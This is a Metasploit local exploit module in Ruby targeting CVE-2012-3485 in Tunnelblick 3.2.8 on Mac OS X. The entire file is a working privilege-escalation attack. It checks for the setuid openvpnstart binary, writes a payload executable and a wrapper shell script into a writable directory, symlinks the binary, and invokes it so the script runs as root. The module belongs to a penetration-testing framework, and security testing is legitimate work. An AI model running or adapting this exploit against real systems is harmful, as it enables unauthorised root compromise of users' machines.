## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ##
require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking
include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common
def initialize(info={}) super( update_info( info, { 'Name' => 'Setuid Tunnelblick Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The vulnerability exists in the setuid openvpnstart, where an insufficient validation of path names allows execution of arbitrary shell scripts as root. This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099 over Mac OS X 10.7.5. }, 'References' => [ [ 'CVE', '2012-3485' ], [ 'EDB', '20443' ], [ 'URL', 'http://blog.zx2c4.com/791' ] ], 'License' => MSF_LICENSE, 'Author' => [ 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit 'juan vazquez' # Metasploit module ], 'DisclosureDate' => 'Aug 11 2012', 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell' ], 'Targets' => [ [ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], [ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, 'DefaultTarget' => 0 })) register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ]) ], self.class) end
def check if not file?(datastore["Tunnelblick"]) print_error "openvpnstart not found" return CheckCode::Safe end
check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
if check =~ /openvpnstart/ return CheckCode::Vulnerable end
return CheckCode::Safe end
def clean file_rm(@link) cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn") end
def exploit
print_status("Creating directory...") cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"
exe_name = rand_text_alpha(8) @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}" print_status("Dropping executable #{@exe_file}") write_file(@exe_file, generate_payload_exe) cmd_exec "chmod +x #{@exe_file}"
evil_sh =<<-EOF #!/bin/sh #{@exe_file} EOF
@sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn" print_status("Dropping shell script #{@sh_file}...") write_file(@sh_file, evil_sh) cmd_exec "chmod +x #{@sh_file}"
link_name = rand_text_alpha(8) @link = "#{datastore["WritableDir"]}/#{link_name}" print_status("Creating symlink #{@link}...") cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
print_status("Running...") begin cmd_exec "#{@link} OpenVPNInfo 0" rescue print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory") clean return end print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory") end end
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